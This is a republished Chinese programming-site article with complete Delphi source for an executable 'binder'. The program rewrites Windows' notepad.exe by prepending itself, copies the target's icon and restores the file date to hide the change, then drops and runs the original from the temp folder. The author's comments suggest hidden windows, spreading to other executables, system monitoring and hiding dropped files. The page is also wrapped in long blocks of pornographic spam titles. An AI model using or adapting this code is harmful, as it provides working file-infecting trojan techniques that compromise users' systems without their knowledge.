亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 開發設計 > 正文

捆綁執行文件新思維(第二版)

2019-11-18 18:15:04
字體:
來源:轉載
供稿:網友


最新功能:與其它程序捆綁后,圖標為其它程序的圖標
這個示范程序沒有form,編譯、壓縮后僅40K,運行后不長駐內存
如果加上隱藏的窗體,加上搜索可執行程序的功能,加上監視系統的功能,加上 %$#@*^ 功能...

程序中幾個數字的確定:
1  在本程序編譯后用aspack.Exe壓縮,大小為41472
2  經過分析,本程序在用Aspack.Exe壓縮后,圖標前面部分長40751,圖標數據
   位于從第40752字節開始共640字節,圖標后還有81字節

與其它程序捆綁的過程:
本程序的前40751字節+被捆綁程序的圖標+本程序最后81字節+被捆綁程序全部

怎么找到圖標的位置:
將程序的圖標設定為一個32*32的紅色塊,在程序經過編譯、壓縮后,用十六進制
編輯軟件載入,查找"99 99 99"字符串即可。以后你可為程序加上其它合適的圖標。
十六進制編輯軟件:常用UltraEdit。
本人嫌它有日期限制,自編了一個,有十六進制編輯、比較、查找功能,并在不斷完善中,對付幾百K的文件沒問題:
    http://guanbh.top263.net/download/hexedit.exe
}
PRogram exe2;

uses
  classes,
  Tlhelp32,
  windows,
  graphics,
  ShellAPI,
  SysUtils;

{$R *.RES}
var
  lppe:TProcessEntry32;
  found:boolean;
  handle:THandle;
  ProcessStr,ExeName:string;
  WinDir:pchar;
const
  MySize=41472; {!!這個值要根據編譯或壓縮后的文件大小進行修改!!}

procedure copy2(s:string);
var
  s1,s2,IcoStream:TMemoryStream;
  File2:TFilestream;
  ch:array[0..1] of char;
  ss:string;
  filetime,fhandle:integer;
  l:integer;
  File2Icon:Ticon;
begin
  {若文件s不存在}
  if FileExists(s)=False then exit;
  try
    {若文件不含圖標,就不捆綁}
    File2Icon:=Ticon.Create;
    l:=extracticon(handle,pchar(s),0);
    if l=0 then
    begin
      File2Icon.Free;
      exit;
    end
    else
    begin
       {提取被捆綁程序圖標}
       File2Icon.Handle:=extracticon(handle,pchar(s),0);
       IcoStream:=TMemoryStream.Create;
       File2Icon.SaveToStream(IcoStream);
       File2Icon.Free;
    end;
    {判斷文件s中有沒有第2個程序頭'MZ'。若有,表示已經合并過}
    File2:=TFilestream.Create(s,fmopenread);
    if File2.Size>MySize then
    begin
      File2.Position:=MySize;
      File2.Read(ch,2);
      ss:=copy(ch,1,2);
      if ss='MZ' then
      begin
        File2.Free;
        exit;
      end;
    end;
    File2.Free;
    {將本文件與文件s合并 本文件+s=s}
    s2:=TMemoryStream.Create;
    s2.loadfromfile(ExeName);
    s1:=TMemoryStream.Create;
    {
    加入本程序的前部40751字節
    第40752字節開始共640字節為圖標數據
    !!以下數字 40751,81要根據實際情況修改!!
     }
    s1.copyfrom(s2,40751);
    {將圖標換為被捆綁程序圖標,圖標大小為766}
    IcoStream.Position:=126;
    s1.CopyFrom(IcoStream,640);
    IcoStream.Free;
    s2.Position:=40751+640;
    {加入本程序的后部81字節}
    s1.CopyFrom(s2,81);
    s2.clear;
    s2.loadfromfile(s);
    s1.seek(s1.size,soFromBeginning);
    {加入被捆綁程序全部}
    s1.copyfrom(s2,s2.size);
    s2.free;
    {得到文件s的日期}
    fhandle:=FileOpen(s, fmOpenread);
    filetime:=filegetdate(fhandle);
    fileclose(fhandle);
    s1.SaveToFile(s);
    {恢復文件s的日期}
    fhandle:=FileOpen(s, fmOpenwrite);
    filesetdate(fhandle,filetime);
    fileclose(fhandle);
    s1.free;
  except end;
end;

procedure CreateFileAndRun;
var
  s1,s2:TMemoryStream;
  TempDir:pchar;
  cmdstr:string;
  a:integer;
Begin
  s1:=TMemoryStream.Create;
  s1.loadfromfile(ExeName);
  if s1.Size=MySize then
  begin
    s1.Free;
    exit;
  end;
  s1.seek(MySize,soFromBeginning);
  s2:=TMemoryStream.Create;
  s2.copyfrom(s1,s1.Size-MySize);
  GetMem(TempDir,255);
  GetTempPath(255,TempDir);
  try
    {
    把文件釋放到臨時目錄。
    如果你不想讓人看到在這個目錄下釋放了一堆文件,可改為其它更隱蔽的目錄,
    如 c:/windows(or winnt)/d...(☆這是個什么目錄?你去研究研究吧!☆)
    }
    s2.SaveToFile(TempDir+'/'+ExtractFileName(ExeName));
  except end;
    cmdstr:='';
    a:=1;
    while ParamStr(a)<>'' do begin
      cmdstr:=cmdstr+ParamStr(a)+' ';
      inc(a);
    end;
  {運行真正的程序文件}
  winexec(pchar(TempDir+'/'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
  freemem(TempDir);
  s2.free;
  s1.free;
end;

begin
  GetMem(WinDir,255);
  GetWindowsDirectory(WinDir,255);
  ExeName:=ParamStr(0);
  handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
  found:=Process32First(handle,lppe);
  ProcessStr:='';
  while found do
  begin
    ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有進程}
    found:=Process32Next(handle,lppe);
  end;
  {如果notepad沒運行,就與它捆在一起}
  if pos(WinDir+'/notepad.exe',ProcessStr)=0 then
  begin
    copy2(WinDir+'/notepad.exe');
  end;
  {其它需要捆綁的文件
  if pos(...,ProcessStr)=0 then
  begin
    copy2(...);
  end;
  ...
  }
  freemem(WinDir);
  {
  你想用這個程序干點其它的什么...
  }
  CreateFileAndRun;{釋放文件并帶參數運行}
end.


上一篇:注冊快捷方式

下一篇:OOP程序設計實踐

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
學習交流
熱門圖片

新聞熱點

疑難解答

圖片精選

網友關注

亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
91禁外国网站| 日韩av电影手机在线| 国产精品免费一区二区三区都可以| 日韩精品999| 亚洲福利视频网| 欧美大胆a视频| 中文字幕在线视频日韩| 国产男人精品视频| 在线日韩中文字幕| 国产精品麻豆va在线播放| 日韩视频免费在线| 亚洲一区二区三区四区在线播放| 中文字幕在线日韩| 欧美孕妇与黑人孕交| 亚洲一区二区三区sesese| 欧美精品精品精品精品免费| 欧美极品美女视频网站在线观看免费| 亚洲性视频网址| 久久伊人精品一区二区三区| 91精品国产高清自在线| 亚洲精品丝袜日韩| 中文字幕在线视频日韩| 国产91热爆ts人妖在线| 国产成人高清激情视频在线观看| 96pao国产成视频永久免费| 亚洲免费av电影| 欧美另类极品videosbestfree| 97国产真实伦对白精彩视频8| 久久精品99国产精品酒店日本| 97免费视频在线| 亚洲国产精品推荐| 5278欧美一区二区三区| 日韩av在线免费播放| 亚洲网在线观看| 5566日本婷婷色中文字幕97| 亚洲伊人第一页| 国产一区二区三区精品久久久| 日韩激情在线视频| 国产精品福利观看| 成人有码在线播放| 欧美激情精品久久久久久免费印度| 91亚洲va在线va天堂va国| 日韩在线观看视频免费| 亚洲国产欧美一区二区三区久久| 亚洲成人av在线播放| 在线日韩av观看| 亚州精品天堂中文字幕| 国产精品毛片a∨一区二区三区|国| 久久久免费在线观看| 久久国产精品久久久久久久久久| 欧美黄色小视频| 国产99久久精品一区二区| 国产丝袜视频一区| 日韩电影在线观看免费| 久久精品久久久久久国产 免费| 欧美性猛交xxxx乱大交蜜桃| 性欧美亚洲xxxx乳在线观看| 欧美成人h版在线观看| www.日韩av.com| 中文字幕欧美亚洲| 亚洲精品动漫久久久久| 欧美整片在线观看| 少妇久久久久久| 国产91av在线| 国产精品久久久久久久久久99| 91夜夜揉人人捏人人添红杏| 精品国产精品自拍| 国产精品视频永久免费播放| 日本久久久久久久久久久| 91av视频导航| 欧美成人精品影院| 国产精品日韩在线观看| 欧美成在线观看| 黄色成人在线播放| 久久久伊人欧美| 亚洲欧美国产一本综合首页| 91亚洲精品在线观看| 欧美黄色片在线观看| 一区二区成人av| 久久久久久久久久久av| 亚洲精品福利资源站| 亚洲激情中文字幕| 亚洲成成品网站| 欧美性感美女h网站在线观看免费| 日韩第一页在线| 欧美日韩亚洲高清| 国产精品女人网站| 国产视频福利一区| 日韩在线免费视频| 日本精品免费一区二区三区| 久久精品国产v日韩v亚洲| 国产精品久久久久av免费| 中文字幕欧美日韩精品| 最近2019年手机中文字幕| 日韩人在线观看| 国产精品永久在线| 亚洲美女视频网站| 日韩av日韩在线观看| 亚洲自拍欧美另类| 2018国产精品视频| 欧美裸体视频网站| 日韩av电影手机在线观看| 欧美日韩免费在线| 久久久久久中文字幕| 国产拍精品一二三| 久久综合国产精品台湾中文娱乐网| 国产精品丝袜一区二区三区| 国产精品美女久久| 国产精品午夜国产小视频| 97香蕉超级碰碰久久免费的优势| 亚洲精品电影久久久| 久久伊人色综合| 国产精品久久久久久中文字| 中文精品99久久国产香蕉| 91亚洲精品视频| 成人a在线视频| 欧美电影在线观看高清| 久久精品国产69国产精品亚洲| 久久久91精品国产| 久久久精品免费| 久久精品99久久久久久久久| 亚洲国产日韩欧美在线动漫| 日韩资源在线观看| 精品视频在线播放免| 日韩电影在线观看中文字幕| 成人深夜直播免费观看| 欧美日韩中文在线观看| 欧美xxxx14xxxxx性爽| 欧美精品久久久久久久| 456国产精品| 欧美极度另类性三渗透| 亚洲第一在线视频| 成人欧美一区二区三区黑人孕妇| 亚洲精品98久久久久久中文字幕| 国产精品中文字幕在线| 日韩专区在线观看| 亚洲色图狂野欧美| 亚洲人成电影在线观看天堂色| 在线亚洲国产精品网| 中文字幕自拍vr一区二区三区| 久久久国产一区二区三区| 亚洲va国产va天堂va久久| 欧美一区二区大胆人体摄影专业网站| 国产精彩精品视频| 日韩免费在线看| 91探花福利精品国产自产在线| 久久久精品久久久久| 成人在线精品视频| 激情成人中文字幕| 精品中文字幕视频| 97成人精品视频在线观看| 51久久精品夜色国产麻豆| 亚洲欧美日韩另类| 久久久久久久久电影| 亚洲人成77777在线观看网| 国产免费久久av| 亚洲v日韩v综合v精品v| 欧美电影院免费观看| 尤物yw午夜国产精品视频| 日韩精品一二三四区| 成人免费网站在线观看| 国产精品美乳在线观看| 亚洲一区第一页| 91精品国产91久久久久久|